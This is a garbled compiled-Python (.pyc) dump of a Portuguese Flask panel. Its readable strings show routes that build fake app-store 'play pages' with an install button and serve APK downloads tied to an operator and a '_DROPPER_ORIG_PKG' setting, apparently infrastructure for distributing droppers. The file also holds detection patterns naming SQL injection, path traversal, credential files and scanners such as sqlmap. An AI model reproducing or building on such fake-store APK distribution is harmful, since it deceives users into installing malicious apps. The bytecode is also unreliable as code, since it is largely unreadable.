play_pages)u   <html><body style="font-family:sans-serif;padding:2rem;color:#555;text-align:center;"><h2>Página não encontrada.</h2></body></html>r  r*  r   r   r  rT  )u   <html><body style="font-family:sans-serif;padding:2rem;color:#555;text-align:center;"><h2>Esta página expirou.</h2></body></html>r  zplay_page.html)r  )
r}  r  rJ  r  r   r   r[  rA  rR  r   )slugrD  pagespagecreatedr   r   cts           rJ   	play_pager    s    66#R.s3D	BFF<$E99T?D \hh|R(G	4''0B||~"YR%88K" a 9 +66	s   +AB: :B>z/play-download/<slug>c           
      F   [         R                  " SSU 5      S S n [        5       nUR                  S0 5      nUR                  U 5      nU(       d  [	        SS05      S4$ [         R                  " SS[        UR                  S	S5      5      5      S S
 n[        R                  S   n[        R                  R                  XT S35      n[        R                  R                  U5      (       d  g[         R                  " SSUR                  SS5      5      S-   n[        USUS9$ )Nr  rY   rl  r  r~     Não encontrador  rx  r  r8  r  rq  )u   <html><body style="font-family:sans-serif;padding:2rem;color:#555;text-align:center;"><h2>APK não disponível no momento.</h2></body></html>r  z[^a-zA-Z0-9 _-]r  r  Tr  )r}  r  rJ  r  r   r`   r  r  r   r   r^   r   r   )r  rD  r  r  r  r  r  ru  s           rJ   play_downloadr    s    66#R.s3D	BFF<$E99T?D!234c99vv&CR0H,IJ3BOHJJ/M]j,=>I77>>)$$ d66,b$((:u2MNQWWLYd,OOrI   z/api/play-pagesc                     S[         ;  a  [        / 5      S4$ [        5       n U R                  S0 5      n[        R
                  S   n[        R                  " 5       n/ n[        UR                  5       5       HY  u  pVUR                  SS5      nU(       d  M    [        R                  " U5      nX8-
  [        SS9:  a  UR                  U5        MY  M[     U H  nX	 M     U(       a  [        U 5        [         R                  " SS5      n	[         R                  " S	5      S
;   n
/ nUR                  5        GH'  u  pVU
(       d  UR                  SS5      U	:w  a  M%  [        R                  " SS[!        UR                  SS5      5      5      S S n["        R$                  R'                  ["        R$                  R)                  X, S35      5      nSnUR                  SS5      nU(       a]   [        R                  " U5      nX8-
  nSUR+                  5       -
  nUS::  a  M  [-        US-  5      n[-        US-  S-  5      nU SU S3nUR                  0 UEXS.E5        GM*     UR/                  S SS9  [        U5      $ !    GM
  = f!    NE= f)Nr  r@  r  r  r*  rY   r  rT  r(  )r  r!  r  rx  r  r8  rq  24hrz  r   r  r  r  r  )apk_available	remainingc                 &    U R                  SS5      $ )Nr*  rY   r  )r4  s    rJ   <lambda> get_play_pages.<locals>.<lambda>,  s    aeeL"5rI   T)r  reverse)r   r   rJ  r  r  r  r   rA  rv  rM  r[  r   r]   rR  r}  r  r`   r   r   r   r^   total_secondsrb  sort)rD  r  r  rA  r  r  r  r  r  r  is_adminr  r  
apk_existsr  elapsedremaining_secsr  r  s                      rJ   get_play_pagesr    s>    r{C	BFF<$EJJ/M
,,.CG5;;=)
((<,7++G48ib11NN4( 2 * K ";;z2.L{{6"&88HFkkm
DHH\26,F66*BDHHZ4L0MNsPRSWW^^BGGLL*D@Q$RS
	((<,
++G4(!&)>)>)@!@!Q&$./$.256 c1#QK	 	SS
ST+ $, KK5tKD6?A6s   6I;'3J'J;JJz/api/play-icon-uploadc                     S[         ;  a  [        SS05      S4$ [        R                  R	                  S5      n U (       a  U R
                  (       d  [        SSS.5      S4$ [        R                  R                  [        U R
                  5      5      S	   R                  5       nUS
;  a  [        SSS.5      S4$ [        R                  R                  [        SSS5      n[        R                  " USS9  [        [        R                   " 5       5      U-   n[        R                  R                  X#5      nU R#                  U5        [        SSU-   S.5      $ )Nr  r.  Fr@  r  r`  r-  r5  r-  ra  z,Formato invalido (use PNG, JPG, GIF ou WebP)staticr  
play_iconsTr$  z/static/img/play_icons/)r.  r  )r   r   r   r1  r  r  r   r   r  r   r  r^   BASE_DIRr'  r`   ra  rb  r  )ri  r  	icons_dirr2  r3  s        rJ   upload_play_iconr  0  s    	5)*C//&!AAJJ55EFGLL
''

?1::6
7
:
@
@
BC
<<55cdegjjjXxEIKK	D)

#EGGLL*EFF5Mt,E,MNOOrI   c                  ^   S[         ;  a  [        SS05      S4$ [        R                  " SSS9=(       d    0 n [	        U R                  SS5      5      R                  5       S S	 n[        R                  " S
S[	        U R                  SS5      5      5      S S n[	        U R                  SS5      5      S S n[	        U R                  SS5      5      R                  5       S S	 n[	        U R                  SS5      5      R                  5       S S n[	        U R                  SS5      5      R                  5       S S n[	        U R                  SS5      5      R                  5       S S nU(       a  U(       d  [        SSS.5      S4$ [        R                  " SU5      R                  SS5      R                  S5      n[        R                  " SS UR                  5       5      R                  S 5      nU(       d  US S n[        5       n	S!U	;  a  0 U	S!'   Un
S"nXS!   ;   a  U
 S U 3nUS"-  nXS!   ;   a  M  UUUUUUUU[         S   [        R                   " 5       R#                  5       S#.
U	S!   U'   [%        U	5         ['        S$S%U S&[         S    S'U 3S(5        [        SUS)U 3S*.5      $ !    N= f)+Nr  r.  Fr@  Tr1  r  rY   rl  rx  r  r8  icon_urli  rU  Desenvolvedorr[  r\  r9  rX  rY  r  button_textInstalaru)   Nome do app e Build ID são obrigatóriosr-  r5  NFKDasciir3  z
[^a-z0-9]+-r  r-  )
r  r  r  r  rU  r[  rX  r  r  r*  zTELA PLAY Criadar  z**
Operador: z 
URL: https://jadbypass.my/play/i_ z/play/)r.  r  r  )r   r   r   rA  r`   r  r  r}  r  _unicodedata	normalizer  r  r  rJ  r   rA  rB  rR  r  )r  r  r  r  rU  r[  rX  r  r  rD  	base_slugr  s               rJ   create_play_pager  A  s    	5)*C//$t4:D488J+,224Sb9Hvv&CR0H,IJ3BOH488J+,Ud3HDHH[/:;AACCRHIDHH[%01779#2>I(E*+113BQ7Fdhh}j9:@@B3BGK855`abdggg!!&(3::7HMTTU\]D66-djjl399#>D}	B2<IG
\"
"AgY'1 \"
"
 "j)lln..0B|T bM/2hZ~gV`NaMb  cD  EI  DJ  2K  MU  	V tTF4&/JKKs   9J( (J,z/api/play-pages/<slug>DELETEc                    S[         ;  a  [        SS05      S4$ [        R                  " SSU 5      S S n [	        5       nSU;  d  XR                  S0 5      ;  a  [        SS	S
.5      S4$ US   U 	 [        U5        [        SS05      $ )Nr  r.  Fr@  r  rY   rl  r  r  r-  r  T)r   r   r}  r  rJ  r  rR  )r  rD  s     rJ   delete_play_pager  t  s     	5)*C//66#R.s3D	B2VVL"-E!E55FGH#MM
<bMIt$%%rI   z(?i)(\.\./|%2e%2e|%252e%252e)z;(?i)(union.{1,20}select|drop.{1,10}table|insert.{1,10}into)z.(?i)(etc/passwd|etc/shadow|\.env|\.git/config)z*(?i)(eval\(|base64_decode|system\(|exec\()zU(?i)(sqlmap|nikto|masscan|nmap|dirsearch|nuclei|gobuster|acunetix|nessus|zgrab|hydra)>   r&  rF  rK  c                     [         R                  S;  a  g [         R                  [        ;   a  g [         R                  R	                  S5      (       a  g S[
        ;  a  g [
        R                  " SS5      n [         R                  R                  SS5      =(       d7    [         R                  (       d   [         R                  R                  SS5      OSn[         R                  (       a9   [         R                  " SS9=(       d    0 nU=(       d    UR                  SS5      nU (       a  U(       a  [        X5      (       d  [        S	S
05      S4$ g ! [         a     N:f = f)N)r'  PUTr  PATCH/api/pix/statusr  r  rY   zX-CSRF-TokenT)r3  r~  zCSRF token invalidor8  )r   methodr   _CSRF_EXEMPT_PATHSrN  r   r  rj  is_jsonr  rA  r   _csrf_comparer   )expectedgivenr}  s      rJ   csrf_protectr    s   ~~??||))||011 {{<,HOO3zbibqbq8H8HWY8ZwyE	  -3A4QUU<4E 5h(F(F!678#==	  		s   *8E 
EEc                 R    SS K nUR                  [        U 5      [        U5      5      $ )Nr   )hmaccompare_digestr`   )rj  r;  r  s      rJ   r  r    s     s1vs1v..rI   c                  l  ^ [        5       n [        R                  n[        R                  R	                  SS5      n[        R
                  n[        R                  " 5       mSU4S jjn[        R                  U5      (       a2  U" SU  3S5      (       a!  [        SSSS	U S
S.SUS S S
S.SUS S SS./S9  [         Hv  nUR                  U5      (       d  UR                  U5      (       d  M1  U" SU  3S5      (       a4  [        SSSS	U S
S.S[        R                  S
S.SUS S SS.SUS S SS./S9    g    g )N
User-AgentrY   c                 X   > [         R                  U S5      nTU-
  U:  a  gT[         U '   g)Nr   FT)_web_alert_cacher  )r  secslastrA  s      rJ   	_cooldown%detect_web_attacks.<locals>._cooldown  s2    ##C+: #rI   ua_rm  zSCANNER DETECTADOz(Ferramenta de scan identificada no site.r*  r>  Trx  Pathrl  r  Fr|  atk_zTENTATIVA DE ATAQUE WEBz)Padrao malicioso detectado na requisicao. Metodor  zURL completarS  )r   )rm  r   r   rj  r  r  ro  _SCANNER_UAr  r  _ATTACK_PATTERNSr  )rt  r   uafull_urlr  r  rA  s         @rJ   detect_web_attacksr    s5   	B<<D			\2	.B{{H
))+C ")c"J"<"<6d;$s)tD%4CEJ			
  ::h3::b>>4tc**$-?"!%dC!)GNNdS!'$t*N!/(4C.TYZ		
   rI   logszgangstar_attacks.log>   r&  rK  r  gangstar_attacksz%(message)sc                    SS K n [        5       n[        R                  n[        R                  nU R
                  n[        R                  R                  SS5      S S n[        R                  R                  SS5      S S n[        R                  =(       d    SnUS:H  n	US:  n
U	(       d	  U
(       d  U $ SnU	(       a  U(       a   [        R                  " S	S
9nSUR                  5       ;   aA  U(       a:   UR                  U5      nS H  nX;   d  M
  SX'   M     UR                  USS9S S nO SUR                  5       ;   a  U(       a  US S nSnU
(       a   U R                  S	S
9S S nSS KnUR                  R                  5       R!                  5       UUUUUUUUUS.
n["        R%                  UR                  USS95        U $ ! [         a    US S n Nf = f! [         a    Sn Nf = f! [         a     Nf = f! [         a     U $ f = f)Nr   r  rY   r  RefererrS  r'  r5  T)as_textrC  )r   senhapasspwdsecretr  F)ensure_asciir  r   r  )
tsrt  r  r   r-  r  refererr  r  r  )rC  rm  r   r   r  r  rj  r  content_typeget_datar  loadsdumpsr   r   r  rB  _atk_loggerrk  )response_jsonrt  r   r  r-  r  r  r  is_postis_errorbody_strr|  parsedr{   	resp_body_dtrecords                     rJ   log_attack_detailsr    s   <_||%%__  r24C8//%%i4Tc:!!'R F"S=8O r&&t4RXXZ'C-!&S!1!OA {,1	 "P $);;vE;#J4C#P rxxz)c"4CyH
 	$--d-;DSA	 	,,%%'113
 	V%@A O? % -#&t9-    "  Os   B.G> 5G> /G 6G G .G> / G 	G> G. +AG> GG G> GG G+(G> *G++G> .
G;8G> :G;;G> >
HHr  c           
      <  ^ [        5       n[        R                  m[        U4S jS 5       5      (       aV  SU 3n[        R                  " 5       nU[
        R                  US5      -
  S:  a  U[
        U'   [        SSSS	US
S.STS
S./S9  SSKJ	n  U" SS05      S4$ )Nc              3   H   >#    U  H  oTR                  5       ;   v   M     g 7fr  )r  )rQ   r4  r   s     rJ   rT   not_found.<locals>.<genexpr>/  s     
c&b

&bs   ")z.phpz.envr  zwp-z.gitr  backup404_r   r  zRECONHECIMENTO DETECTADOz1IP tentando acessar caminho sensivel inexistente.r*  r>  Trx  zPath tentador|  r   r~  z	Not foundr  )
rm  r   r   ra  ro  r  r  r  flaskr   )r   rt  r  rA  r   r   s        @rJ   r  r  *  s    	B<<D

c&b
cccRDkiik!%%c1--3$'S! *C!B$?+ddK	 G[)*C//rI   r  c                     [        5       n[        SSSSUSS.S[        R                  SS.S[	        U 5      S S	 S
S./S9  SSKJn  U" SS05      S4$ )NzERRO 500 INTERNOz*Erro interno no servidor - verificar logs.r  r>  Trx  r  r  r  Fr|  r   r  r~  zInternal server errorr  )rm  r  r   r   r`   r  r   )r   rt  r   s      rJ   server_errorr  @  sf    	B
4B$7glldCc!fTcleD
		 G456;;rI   __main__r  i  )debughostport)irk Nr  )NNr  FNN)r  r  r  rL  )r  r  )r  r  rh  )r  r   r   r   r   r   r   r	   r
   r   r   r   defusedxml.ElementTreeElementTreer  werkzeug.utilsr   werkzeug.securityr   r   r  rC  r   r   ro  r  ra  requestsr  PILr   r  MAX_IMAGE_PIXELSr   r}  rD   r   collectionsr   rF   rG   rK   rf   ru   _DROPPER_ORIG_PKGr~   r   r   r   r   r   r   rA  rB  rC  rD  rE  rF  rG  rH  rI  rJ  rz  r  r  r  r!  r6  rA  r  r  r  r  r  r  __name__r  r   r^   abspathr(  __file__SECRET_KEY_FILEr   rQ  r  rR  r  
secret_keyr   r'  rS  r  r  DATA_DIRr@  r  r   r  r  r  r  r  r  BoundedSemaphorer  rv  rp  rr  rq  r{  r}  r|  Lockr  r_  r  r  rJ  rL  rR  rX  r]  rg  rm  ru  ry  r~  r  r  r  r  r  r  r  r  r`   r  rF  r  r  r  r  r  router#  r%  rE  rJ  rh  r  r  r  r  r  r  r  r  r  r  r  r  r  r  r-  r  r  r  r  r  r
  r  r  r  r  r  r  r%  r  r  r  r  r  r  r  r  r  r  r  r  r
  r  r  r  r  r[  r^  rc  rk  rq  rx  r  r  _cleanup_threadr  unicodedatar  r  r  r  r  r  r  r  r~  r  r  r  r  before_requestr  r  r  _ATTACK_LOG_ATTACK_LOG_PATHSlogging_logging	getLoggerr  handlersFileHandler_atk_handlersetFormatter	Formatter
addHandlersetLevelINFOafter_requestr  errorhandlerr  r  r   rH   rI   rJ   <module>r     s   a a a 	   # * I   (      !&   	   #
SZC  0   V?
]
I'V


 

 
]@ =FUEp
t=l%GP 7H 0*JPZK[\'VT @F)(.Bb Ho'',,rwwrwwx/HI=Zgh77>>/""	os	#r* 
$	# &&r*CNKK04@	os	#r
  
$ $5

  &+

" #(,

$ %(-

$ %+4!+<

' (77??277??845 ggll8Y?

?  ggll8Y?

? 77<<&9

< 77<<-0GGLL;/	'',,x):;
**_
%szz/'BCJJ|D\^f	gAKKD! 
h 77<<*;< GGLL+>? 77<<0I JL^_ WW\\(L1
ggll8]3 --a0 T"%  NN	 E
:	E
:	E
: 	>@ ^^
(
63
+?
.	*
   t  :(T.'bTl^ ) )4 3) ) 8fX&6D '6Dp 9& & ?VH-X .Xt 'R %&&* '&*R $ug6 7 $vh7& 8&@  6(3D 4D& $%1 &1
 &2F 3F4 9vh'F* (F*P %w7
? 8
? %x8& 9&( ()s *s< '%9 : '&:& ;&,  +> !+>Z !"-= #-=^ > ( ?  > < &2/` 3/`b !F84V 5V$ &2J 3J6 &2E 3E8 "VH5C 6C<  = 8A9LjZ ^qWv	I >f f0 = 4 ?VH-@{ .@{F #$o %o	\~ <  >F8,[ -[| 4  4 ; $ : $ !F84& 5&: &2"& 3"&LWv =T T: 1[ 2["  !
. "
. 0 0& #fX6ZT 7ZTz%fN ""*;DI     #>7 7* "#P $P ug.0 /0f "VH5P 6P  vh/0L 00Ld #hZ8	& 9	& KK01KKNOKKABKK=>	  kkrs  <  ,/
 * *^ ggll277??277??8+DEvOef BGGOOK(4 8B    !34''4Lh00?@<('? ?B #0 0* #< <  zGG%idG3 kn 
$	#
 
$	#s   7$p1.q1
q 
q